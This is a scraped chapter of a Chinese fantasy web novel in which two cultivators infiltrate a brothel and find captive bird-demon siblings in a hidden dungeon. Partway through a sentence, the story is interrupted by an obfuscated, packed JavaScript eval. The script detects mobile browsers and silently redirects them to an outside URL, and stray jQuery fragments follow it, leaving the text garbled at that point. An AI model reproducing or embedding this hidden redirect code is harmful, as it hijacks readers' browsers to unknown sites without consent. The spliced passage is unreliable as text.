50. 水乡风云起(五)

作品:《渡劫

    烟雨楼里男男女女勾肩搭背,披帛轻扬,一股子脂粉香气扑鼻而来。师灵珑换了一袭侍从衣裳,由于人面貌生的不大好看,就没甚么没注意到。


    她端着一壶美酒在人群之中穿行,目光游离四周,被人叫住了,时不时还装模作样的为客人倒酒。


    楼里四周都有体壮的男子守着,以防有人挑衅滋事。乍一看与寻常的花楼一般无二,但经过她一番观察,也还是看见了些不对之处。这些侍从个个腰间都配有剑和符纸,瞧着似乎在提防着些什么。


    她收回目光,跟着一对男女上了楼,二楼便少了些侍从,只不过寻欢的男女便更大胆了些,还没进厢房,便开始脱衣亲热。


    师灵珑吸了口气,心中默念非礼勿视,非礼勿视。


    走在她前面的那对男女瞧她手里端了酒,让她跟着进了厢房。


    “喂,愣在那里做什么?还不快倒酒?如烟,你们楼里的侍从也太没眼力见了吧!”


    男子生得高壮,二人搂抱坐在椅子上,师灵珑替他们倒好了酒,那男子便打量着她,对怀里的如烟道:“这姑娘生的不好看,身材也不好,难怪只能做侍从。”


    师灵珑咬牙一忍:“……”


    如烟循声也打量着她,眉间微蹙:“你唤何名?怎的没见过你似的,莫不是楼主又添了新人进来?”


    不好,莫非要被发现了?她面上赶忙堆起个笑,“是的,姑娘,我唤如花,才进来没多久,这边酒水已经添好,我便不打扰二位了。”


    她正要走,那男子便又叫住了她,“等等。”


    她问道:“公子可还有要事儿吩咐?”


    男子捏了如烟的腰,惹得美人娇媚一笑,他对师灵珑道:“你留下来,就站在这里看。”如烟一听便懂了他的意思,调笑着捶他肩,“公子可太坏了,有人在此,如烟放不开~”


    二人一人一句,俨然是把她当成了追寻刺激的乐趣。说着他们便开始调笑起来,衣裳也渐渐褪下,男子还盯着她打趣,“好好学着,万一哪天有男人能看上你呢!”


    师灵珑听得磨牙,眼瞅着事情要往不可描述的方向发展,她当即不忍了,指尖掐符,在二人惊愕的目光下,弯了弯唇:“抱歉,我可学不了这个,今日良辰美景,二位莫要辜负好时光去做些奇怪的事儿,我看呐,你们还是睡一觉罢。”


    话落,符纸顷刻间飞了过去,二人连叫声都没有发出来,便双双倒在了地上。


    她拍拍手,当即关门出去,心中默默多了一个想法,以后再也不来什么花楼之类的地方了。这二楼修得雅致,厢房极多,她仔细查探也没发现什么可藏妖之处。方才进了这烟雨楼时,二人便分开寻找了,她摸摸下巴,不知道涂山厌那边怎么样了。


    这边涂山厌没像她一般扮做侍从,反而是如寻常花客一般径直走了进去。他一进来,便有姑娘瞧见了他这幅好模样,匆匆都围了上来让他挑。


    耳朵边全是女子的声音,听得他耳朵有些吵,但为了打探消息,便让其中一位比较安静一点的姑娘跟着他。


    玉兰心中欣喜,陪这样俊朗的小郎君,可比陪其他五大三粗的男人好多了。她当即便要凑近挽上他的胳膊,却被少年微侧身子给躲了过去,玉兰疑惑看他:“公子,可是玉兰哪里做得不好吗?”


    涂山厌实在忍受不了女子触碰这一身华贵的衣裳,他淡声道:“去寻一间房来,我有话问你。”


    二人进了厢房,玉兰被他的冷淡弄得有些不知所措,以为他是比较含蓄的男子,不喜在大庭广众之下亲热,便替他倒了酒,主动倾身靠近。


    “公子是第一次来花楼吗,怎的这般不好意思,不过有玉兰在此,公子无需过多介怀,只要是公子想的,”她弯了腰,娇声道,“玉兰都听公子的。”


    涂山厌静静盯着她的动作,眉头轻挑,又是侧身躲过了她的拉扯,只让她坐下来说话,玉兰有些懵,却还是立马反应过来,有些客人来花楼并不是非要做那档子事儿的,心中顿时窃喜,她依言而坐。


    涂山厌将那酒盏递给了她,见她喝下了,随意一问,“这烟雨楼里最近可是有什么别的东西进来了?”


    玉兰饮了一口,疑惑看他:“公子为何这般问?烟雨楼里可没有来其他的新人了。”


    他盯着饮下酒水面色泛红的女子,紫瞳划过一束幽光,那女子便好似恍然失了神一般,他意有所指问道:“我说的不是女子,而是…有没有被抓进来的妖怪?生得漂亮的两只妖?”


    玉兰此刻已经中了狐族特有的幻术,全然有问必答:“有的,楼主最近抓回来一个生得比女子都还美的少年,我记得还有一个小姑娘生的跟小仙童似的。”


    涂山厌心中了然,这应该就是松风谛口中的那雨鹤一族的兄妹了,他又问道:“他们被关在了何处?”


    玉兰默了半晌,才道出:“我……也不……知道关在何处。”说话吞吞吐吐的。


    他又追问了关在何处,玉兰眼神空洞,半晌也说不出个所以然来,他一下了然,若是能轻易问出,事情也绝不会这般简单了。


    他起身朝着屋外而去,这狐族的幻术,他本不屑于使用,但自他进入这楼中便察觉到了一丝不同凡响之处,似乎整个烟雨楼都好像布下了某种术法,操控着这些女子的言语,不让她们说出想知道的答案。


    这些厢房时不时便发出些寻欢作乐的声音,师灵珑心中默默念起了清心咒,跟着一侍从去了一幽暗的地方。


    方才查找了一番,什么也没有发现。但在无意间听见了这侍从之间的话,说着什么换人看守,她一下便起了疑心,跟了上去。


    眼下悄声无息跟着这侍从,穿过一扇门进了地道,越往底下台阶而去,这周围的环境便俞昏暗,只点了寥寥几盏人鱼烛,光影之下,只听得见侍从们说着换人的谈话。


    她躲在一处拐角,用着符纸隐藏了她的身影气息,因而那侍从从身边错过时便毫无察觉。不过,这符纸只有一刻钟的隐匿时间。


    她探出头去看,这底下竟然有一处地牢,许多女子都被关在此处,想来应该是有些良家的姑娘被拐了进来。


    连着有四五个的侍从看守,腰间都有配剑,她摸着下巴思索,不清楚这些侍从的实力如何,眼下不敢轻易行事,但就这样回去了也未免太过可惜了。


    似想到了什么,眼眸顿时一亮,对了!她还有大师兄做得那什么昏睡符呢!


    师灵珑想到了办法,从储物囊中一番摸找,才翻出了一张皱巴巴的符纸,用术法催动,幽暗的地牢里便有一股清香扑来。


    不出半晌,这些侍从便都倒在了地上。她悄声打量着地牢里的这些姑娘,却没有发现被关在烟雨楼的雨鹤妖,心中不免起疑,莫非不在此处?


    正想着先离开在想办法时,一道铁链的蟋蟋蟀蟀声传入耳中,她闻声而行。经过一排排的牢房走到了尽头,眼前只有一堵墙,但却有铁链拖地女子细弱哭声。


    可见就是在这堵墙里面了,她贴近墙壁一番查找,手边摸到了一人鱼烛盏台,尝试着轻轻一扭,整堵墙便轰隆一声连人带着翻转过去。


    力道十足,她近乎就要摔倒扑在地面,却反应极快地稳住了身形,抬眸一望,乌黑的瞳仁顿时放大。


    一个黑衣少年被粗大的铁链捆住了手脚,整个人垂头跪在地上,身上是纵横交错的血迹,


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17017645|186711||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    膝盖下就是一个阵法,蔓延了不少的血,旁边还有一个年岁不大的粉裙小姑娘蹲在他身边哭。


    似听见了声响,那小姑娘怔怔盯着她,一下子站起来,想跑到她身边,却被阵法反弹回去摔倒在地上。


    “救救我们!姐姐!”小姑娘双手撑在阵法结界上,哭着望向她。


    黑衣少年原本还在昏睡中,耳朵却极其敏锐的听见了妹妹的哭声,一下子清醒过来,双眸通红戒备瞪着来人,还一边唤道:“小蝶,过来,不要靠近人族!”


    师灵珑试探问道:“是雨鹤潇?”


    黑衣少年凶狠的盯着她,以为又是要取他血的人族,愤恨而言:“不要伤害我妹妹,要取血就去我的!”


    她了然,只走上前,少年依旧愤愤瞪着她,若是她敢对小蝶动手,他就是死也要与她同归于尽!


    可下一秒,白衣少女却摸着结界,与小姑娘的手隔着一层结界而贴,面上挂着温柔,安慰道:“别怕,是松风谛让我来救你们的。”


    听见熟悉的名字,雨鹤潇眼中的戒备少了一分,“松风谛?你是他何人,人间的修士是不会与妖同行的。”


    她抬眼打量着阵法,一边估量着能不能解开,一边回应道:“我们是朋友,放心好了,我是不会伤害你们的。”


    雨鹤潇冷笑:“朋友?人可不会与妖做朋友。他敢与人族做朋友,就是把自己陷于危险境地之中,傻子罢了,我可不会相信你!滚开!离我妹妹远点!”


    师灵珑一愣,抬眸看他,估摸着雨鹤妖眼下这境地不会相信人也能理解,她没有过多解释,思量着眼下这阵法若是要解,定是需要时间的,可却没这么多时间。


    昏睡符,过不了多久就会失效的。


    她叹了口气,小姑娘身上始终还干干净净的,可见是雨鹤潇用尽全力保护才能不被取血。小姑娘却不觉得眼前的姐姐是坏人,她小心翼翼的问道:“姐姐,可不可以先救救我的哥哥?”


    师灵珑心顿时一软,她轻声道:“小蝶,不要怕,我答应你我一定会回来救你们的,只是现在不是最好的时机。”


    她起身欲要离开,小蝶却叫住了她,回头时小姑娘朗声喊道:“姐姐!我信你的!”


    师灵珑心中酸涩,第一次体会到了不能立马救她走的惆怅滋味。


    “呵,谁也别想走!”


    她闻声望去,一个绯红衣裙的女子出现在她身后,容貌极其美艳动人,染着红豆蔻的指甲朝灵珑一点,红唇扯着讽刺的笑,“小妹妹,我的地盘也是你想来就来,想走就走的?”


    师灵珑后退一步,戒备询问道:“你是谁?”


    雨鹤潇突地笑出声来,他盯着眼前的白衣少女,只觉得松风谛可笑极了,就凭一个装模作样的人族姑娘,说着要救他的话,却莽撞闯了进来,浑然察觉不到这地方的阵法监视。


    “哈哈哈哈哈,真是好笑极了……松风谛你从哪里儿找来的蠢货,哈哈哈哈……”


    这笑声十分突兀,在二人剑拔弩张的对峙中添了一丝嘲意。


    绯裙女子也觉着好笑,轻蔑地看向少女,“我…就是这烟雨楼的楼主,”她抽出缠在腰间的软剑指着师灵珑,“小姑娘,这世上还无人见过我的真容,你既然敢来此处,我是决计不会放你离开的,我这剑许久没有沾过人血了,你便做我剑下亡魂第一人罢!”


    师灵珑吸了一口气,神情始终平静,她拔出腰间的残华,衣摆因着动作而轻漾,像是一颗直立坚韧的青松,迎着风雨也无所畏惧前行。


    二人剑尖相对,她凌然道:“事到如今,不动手可不行了,论剑术修符我也不是吃素的,楼主姐姐,你可瞧好了!”